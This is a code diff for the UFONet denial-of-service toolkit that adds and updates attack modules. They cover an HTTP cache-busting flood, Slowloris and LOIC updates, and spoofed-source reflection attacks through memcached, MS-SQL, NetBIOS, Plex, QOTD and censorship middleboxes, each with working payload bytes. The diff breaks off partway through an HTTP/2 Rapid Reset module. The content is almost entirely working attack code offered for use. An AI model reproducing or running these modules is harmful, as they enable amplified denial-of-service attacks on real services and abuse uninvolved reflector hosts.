+# UFONet GoldenEye / HULK style (METEOR) - HTTP flood with cache-busting unique URIs
+
+def _rand(n):
+    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(n))
+
+def meteorize(self, target, rounds, proxy):
+    n=0
+    proxyD = {"http": proxy, "https": proxy}
+    try:
+        for i in range(int(rounds)):
+            n += 1
+            self.user_agent = random.choice(self.agents).strip()
+            params = {
+                _rand(6): _rand(8),
+                _rand(6): _rand(8),
+                '_': str(random.randint(1, 10**12)),
+                'rnd': _rand(12),
+            }
+            headers = {
+                'User-Agent': str(self.user_agent),
+                'Accept': '*/*',
+                'Cache-Control': 'no-cache, max-age=0',
+                'Pragma': 'no-cache',
+                'X-Forwarded-For': '.'.join(str(random.randint(1,254)) for _ in range(4)),
+                'Referer': 'https://www.google.com/?q=' + _rand(8),
+            }
+            try:
+                requests.get(target, params=params, headers=headers, proxies=proxyD, verify=False, timeout=8)
+                print("[Info] [AI] [METEOR] Strike ["+str(n)+"] -> [HIT!]")
+            except Exception:
+                print("[Error] [AI] [METEOR] Failed strike ["+str(n)+"]")
+    except:
+        print("[Error] [AI] [METEOR] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class GOLDENEYE(object):
+    def __init__(self):
+        self.agents_file = 'core/txt/user-agents.txt'
+        self.agents = []
+        try:
+            with open(self.agents_file) as f:
+                for a in f.readlines():
+                    self.agents.append(a)
+        except Exception:
+            self.agents = ['Mozilla/5.0 (UFONet-METEOR)']
+        self.user_agent = self.agents[0]
+
+    def attacking(self, target, rounds, proxy=None):
+        print("[Info] [AI] HTTP cache-bust flood (METEOR) is ready to fire: [", rounds, "strikes ]")
+        meteorize(self, target, rounds, proxy)

+ 11 - 6
core/mods/loic.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -12,11 +12,16 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 import sys, random
 try:
     import requests
-    from requests.packages.urllib3.exceptions import InsecureRequestWarning # black magic
-    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
-except:
-    print("\nError importing: requests lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-requests'\n")
-    sys.exit(2)
+    import urllib3
+    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+except ImportError:
+    from core._ensure import ensure
+    if ensure('requests') is None or ensure('urllib3') is None:
+        print("\nError importing: requests lib. \n\n To install it on Debian based systems:\n\n $ 'sudo apt-get install python3-requests'\n")
+        sys.exit(2)
+    import requests
+    import urllib3
+    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
 
 # UFONet DoS Web LOIC (Low Orbit Ion Cannon)
 def ionize(self, target, rounds, proxy):

+ 16 - 11
core/mods/loris.py

@@ -3,17 +3,14 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import socket, random, ssl, re
-try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
+from urllib.parse import urlparse
 
 # UFONet Slow HTTP requests (LORIS) + [AI] WAF Detection
 def setupSocket(self, ip):
@@ -25,11 +22,19 @@ def setupSocket(self, ip):
     elif ip.startswith('https://'):
        ip = ip.replace('https://','')
        port = 443
+    if ':' in ip and not ip.count(':') > 1:
+        host_part, port_part = ip.rsplit(':', 1)
+        if port_part.isdigit():
+            ip = host_part
+            port = int(port_part)
     self.user_agent = random.choice(self.agents).strip()
     sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
     sock.settimeout(10)
     if port == 443:
-        sock = ssl.wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1)
+        ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
+        ctx.check_hostname = False
+        ctx.verify_mode = ssl.CERT_NONE
+        sock = ctx.wrap_socket(sock, server_hostname=ip)
     sock.connect((ip, port))
     if method == "GET":
         http_req = "GET / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
@@ -42,16 +47,16 @@ def setupSocket(self, ip):
     for l in resp:
         if "Location:".encode('utf-8') in l:
             try:
-                ip = re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', l)[0] # extract new redirect url
+                ip = re.findall(r'https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', l)[0] # extract new redirect url
                 try:
                     ip = socket.gethostbyname(ip)
                 except:
                    try:
                        import dns.resolver
                        r = dns.resolver.Resolver()
-                       r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                       from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                        url = urlparse(ip)
-                       a = r.query(url.netloc, "A") # A record
+                       a = r.resolve(url.netloc, "A") # A record
                        for rd in a:
                            ip = str(rd)
                    except:
@@ -127,9 +132,9 @@ class LORIS(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 75 - 0
core/mods/memcached.py

@@ -0,0 +1,75 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+memcached_file = "botnet/memcached.txt"
+
+# UFONet Memcached Amplification (CRUSHER) - amp factor up to ~51000x (binary 'stats' request)
+def crusherize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(memcached_file)
+        if _empty:
+            print("[Error] [AI] [CRUSHER] botnet/memcached.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("CRUSHER", memcached_file, kind="memcached")
+            return
+        payload = b'\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n'
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [CRUSHER] Breaking memcached 'parsec' ["+str(n)+"] and amplifying! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=11211) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [CRUSHER] Broken memcached 'parsec' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [CRUSHER] Broken memcached 'parsec' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [CRUSHER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class MEMCACHED(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] Memcached Amplification (CRUSHER) is ready to fire: [", rounds, "parsecs ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [CRUSHER] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        crusherize(ip, rounds)

+ 85 - 0
core/mods/middlebox.py

@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+middlebox_file = "botnet/middlebox.txt"
+
+# UFONet TCP Middlebox Amplification (CENSORSHIP) - amp factor >65000x
+# abuses stateless censorship middleboxes that inject HTTP responses for forbidden hosts
+
+FORBIDDEN_HTTP_REQ = (
+    b'GET / HTTP/1.1\r\n'
+    b'Host: www.youporn.com\r\n'
+    b'\r\n'
+)
+
+def censorshipize(target_ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(middlebox_file)
+        if _empty:
+            print("[Error] [AI] [CENSORSHIP] botnet/middlebox.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("CENSORSHIP", middlebox_file, kind="middlebox")
+            return
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [CENSORSHIP] Triggering 'middlebox' ["+str(n)+"] via forbidden Host header! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    seq = random.randint(1000, 0xffffffff)
+                    syn = IP(dst=r, src=target_ip) / TCP(sport=sport, dport=80, flags='S', seq=seq)
+                    send(syn, verbose=0)
+                    psh = IP(dst=r, src=target_ip) / TCP(sport=sport, dport=80, flags='PA', seq=seq+1, ack=1) / Raw(load=FORBIDDEN_HTTP_REQ)
+                    send(psh, verbose=0)
+                    print("[Info] [AI] [CENSORSHIP] Triggered 'middlebox' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except Exception:
+                    print("[Info] [AI] [CENSORSHIP] Triggered 'middlebox' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [CENSORSHIP] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class MIDDLEBOX(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] TCP Middlebox Amplification (CENSORSHIP) is ready to fire: [", rounds, "middleboxes ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except Exception:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except Exception:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [CENSORSHIP] Targeting 'localhost' -> [OK!]\n")
+            return
+        censorshipize(ip, rounds)

+ 10 - 7
core/mods/monlist.py

@@ -3,7 +3,7 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
@@ -11,10 +11,13 @@ Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random
 try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 ntp_file = "botnet/ntp.txt" # NTP servers IP list
 
@@ -59,9 +62,9 @@ class MONLIST(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 75 - 0
core/mods/mssql.py

@@ -0,0 +1,75 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+mssql_file = "botnet/mssql.txt"
+
+# UFONet MS-SQL Resolution Amplification (PHANTOM) - amp factor ~25x (UDP/1434 ping packet)
+def phantomize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(mssql_file)
+        if _empty:
+            print("[Error] [AI] [PHANTOM] botnet/mssql.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("PHANTOM", mssql_file, kind="mssql")
+            return
+        payload = b'\x02'
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [PHANTOM] Cloaking 'apparition' ["+str(n)+"] through SQL Browser! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=1434) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [PHANTOM] Cloaked 'apparition' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [PHANTOM] Cloaked 'apparition' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [PHANTOM] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class MSSQL(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] MS-SQL Amplification (PHANTOM) is ready to fire: [", rounds, "apparitions ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [PHANTOM] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        phantomize(ip, rounds)

+ 78 - 0
core/mods/netbios.py

@@ -0,0 +1,78 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+netbios_file = "botnet/netbios.txt"
+
+# UFONet NetBIOS Name Service Amplification (CIPHER) - amp factor ~3.8x (UDP/137)
+def cipherize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(netbios_file)
+        if _empty:
+            print("[Error] [AI] [CIPHER] botnet/netbios.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("CIPHER", netbios_file, kind="netbios")
+            return
+        payload = (b'\xab\xcd\x00\x10\x00\x01\x00\x00\x00\x00\x00\x00'
+                   b'\x20\x43\x4b\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41'
+                   b'\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00'
+                   b'\x00\x21\x00\x01')
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [CIPHER] Decoding 'glyph' ["+str(n)+"] from the broadcast! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=137) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [CIPHER] Decoded 'glyph' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except Exception:
+                    print("[Info] [AI] [CIPHER] Decoded 'glyph' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [CIPHER] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class NETBIOS(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] NetBIOS Amplification (CIPHER) is ready to fire: [", rounds, "glyphs ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except Exception:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except Exception:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [CIPHER] Targeting 'localhost' -> [OK!]\n")
+            return
+        cipherize(ip, rounds)

+ 4 - 7
core/mods/nuke.py

@@ -3,17 +3,14 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import socket, select, os, time, resource
-try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
+from urllib.parse import urlparse
 
 # UFONet TCP Starvation (NUKE)
 def connect(ip, port):
@@ -59,9 +56,9 @@ class NUKE(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 11 - 11
core/mods/overlap.py

@@ -3,22 +3,22 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2024 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random, socket
+from urllib.parse import urlparse
 try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
-try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet IP FRAGMENTATION (by overlapping) flooder (OVERLAP)
 def randIP():
@@ -69,9 +69,9 @@ class OVERLAP(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 11 - 11
core/mods/pinger.py

@@ -3,22 +3,22 @@
 """
 This file is part of the UFONet project, https://ufonet.03c8.net
 
-Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
 
 You should have received a copy of the GNU General Public License along
 with UFONet; if not, write to the Free Software Foundation, Inc., 51
 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 """
 import sys, random, socket
+from urllib.parse import urlparse
 try:
-    from urlparse import urlparse
-except:
-    from urllib.parse import urlparse
-try:
-    from scapy import *
-except:
-    print("\nError importing: scapy lib.\n")
-    sys.exit(2)
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
 
 # UFONet ICMP (echo ping) attack (PINGER)
 def randIP():
@@ -65,9 +65,9 @@ class PINGER(object):
             try:
                 import dns.resolver
                 r = dns.resolver.Resolver()
-                r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
                 url = urlparse(target)
-                a = r.query(url.netloc, "A") # A record
+                a = r.resolve(url.netloc, "A") # A record
                 for rd in a:
                     ip = str(rd)
             except:

+ 75 - 0
core/mods/plex.py

@@ -0,0 +1,75 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+plex_file = "botnet/plex.txt"
+
+# UFONet Plex Media Server Amplification (REEL) - amp factor ~5x (UDP/32414, GDM discovery)
+def reelize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(plex_file)
+        if _empty:
+            print("[Error] [AI] [REEL] botnet/plex.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("REEL", plex_file, kind="plex")
+            return
+        payload = b'M-SEARCH * HTTP/1.1\r\n\r\n'
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [REEL] Threading 'film' ["+str(n)+"] through the projector! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=32414) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [REEL] Threaded 'film' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except Exception:
+                    print("[Info] [AI] [REEL] Threaded 'film' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [REEL] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class PLEX(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] Plex Amplification (REEL) is ready to fire: [", rounds, "films ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except Exception:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except Exception:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [REEL] Targeting 'localhost' -> [OK!]\n")
+            return
+        reelize(ip, rounds)

+ 75 - 0
core/mods/qotd.py

@@ -0,0 +1,75 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, random, socket
+from urllib.parse import urlparse
+try:
+    from scapy.all import *
+except ImportError:
+    from core._ensure import ensure
+    if ensure('scapy.all', 'scapy') is None:
+        print("\nError importing: scapy lib.\n")
+        sys.exit(2)
+    from scapy.all import *
+
+qotd_file = "botnet/qotd.txt"
+
+# UFONet QOTD Amplification (ORACLE) - amp factor ~140x (RFC 865, Quote-of-the-Day)
+def oraclize(ip, rounds):
+    n=0
+    try:
+        from core._botnet import load_botnet_file, warn_placeholders
+        reflectors, _empty, _all_placeholder = load_botnet_file(qotd_file)
+        if _empty:
+            print("[Error] [AI] [ORACLE] botnet/qotd.txt is empty -> [Aborting!]")
+            return
+        if _all_placeholder:
+            warn_placeholders("ORACLE", qotd_file, kind="qotd")
+            return
+        payload = b'\x00'
+        for x in range(int(rounds)):
+            n += 1
+            print("[Info] [AI] [ORACLE] Asking 'prophecy' ["+str(n)+"] from the abyss! -> [SLOWING!]")
+            for r in reflectors:
+                try:
+                    sport = random.randint(2000, 65535)
+                    packet = IP(dst=r, src=ip) / UDP(sport=sport, dport=17) / Raw(load=payload)
+                    send(packet, verbose=0)
+                    print("[Info] [AI] [ORACLE] Asked 'prophecy' ["+str(n)+"] IS INTERACTING WITH ["+r+"] -> [AMPLIFYING!]")
+                except:
+                    print("[Info] [AI] [ORACLE] Asked 'prophecy' ["+str(n)+"] FAILED to reach ["+r+"] -> [PASSING!]")
+    except:
+        print("[Error] [AI] [ORACLE] Failing to engage... -> Is still target online? -> [Checking!]")
+
+class QOTD(object):
+    def attacking(self, target, rounds):
+        print("[Info] [AI] QOTD Amplification (ORACLE) is ready to fire: [", rounds, "prophecies ]")
+        if target.startswith('http://'):
+            target = target.replace('http://','')
+        elif target.startswith('https://'):
+            target = target.replace('https://','')
+        try:
+            ip = socket.gethostbyname(target)
+        except:
+            try:
+                import dns.resolver
+                r = dns.resolver.Resolver()
+                from core._dns_pool import random_resolvers; r.nameservers = random_resolvers(2)
+                url = urlparse(target)
+                a = r.resolve(url.netloc, "A")
+                for rd in a:
+                    ip = str(rd)
+            except:
+                ip = target
+        if ip == "127.0.0.1" or ip == "localhost":
+            print("[Info] [AI] [ORACLE] Sending message '1/0 %====D 2 Ur ;-0' to 'localhost' -> [OK!]\n")
+            return
+        oraclize(ip, rounds)

+ 107 - 0
core/mods/rapidreset.py

@@ -0,0 +1,107 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+"""
+This file is part of the UFONet project, https://ufonet.03c8.net
+
+Copyright (c) 2013/2026 | psy <epsylon@riseup.net>
+
+You should have received a copy of the GNU General Public License along
+with UFONet; if not, write to the Free Software Foundation, Inc., 51
+Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
+"""
+import sys, socket, ssl, struct, random
+from urllib.parse import urlparse
+
+# UFONet HTTP/2 Rapid Reset (FLASHBANG) - CVE-2023-44487
+# opens many HEADERS frames then immediately sends RST_STREAM, exhausting backend resources
+
+H2_PREFACE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n'
+
+def _h2_frame(payload, ftype, flags, stream_id):
+    return struct.pack('>I', len(payload))[1:] + bytes([ftype, flags]) + struct.pack('>I', stream_id & 0x7fffffff) + payload
+
+def _settings_frame(initial_window=65535):
+    body = b''
+    return _h2_frame(body, 0x04, 0x00, 0)
+
+def _settings_ack():
+    return _h2_frame(b'', 0x04, 0x01, 0)
+
+def _headers_frame(stream_id, hpack_block):
+    return _h2_frame(hpack_block, 0x01, 0x05, stream_id)
+
+def _rst_stream(stream_id, error_code=8):
+    return _h2_frame(struct.pack('>I', error_code), 0x03, 0x00, stream_id)
+
+def _hpack_get_minimal(authority):
+    method_get = b'\x82'
+    scheme_https = b'\x87'
+    path_root = b'\x84'
+    name = b'\x41'
+    auth_bytes = authority.encode('utf-8')
+    auth_len_h = bytes([len(auth_bytes)]) if len(auth_bytes) < 127 else None
+    if auth_len_h is None:
+        return method_get + scheme_https + path_root
+    return method_get + scheme_https + path_root + name + auth_len_h + auth_bytes
+
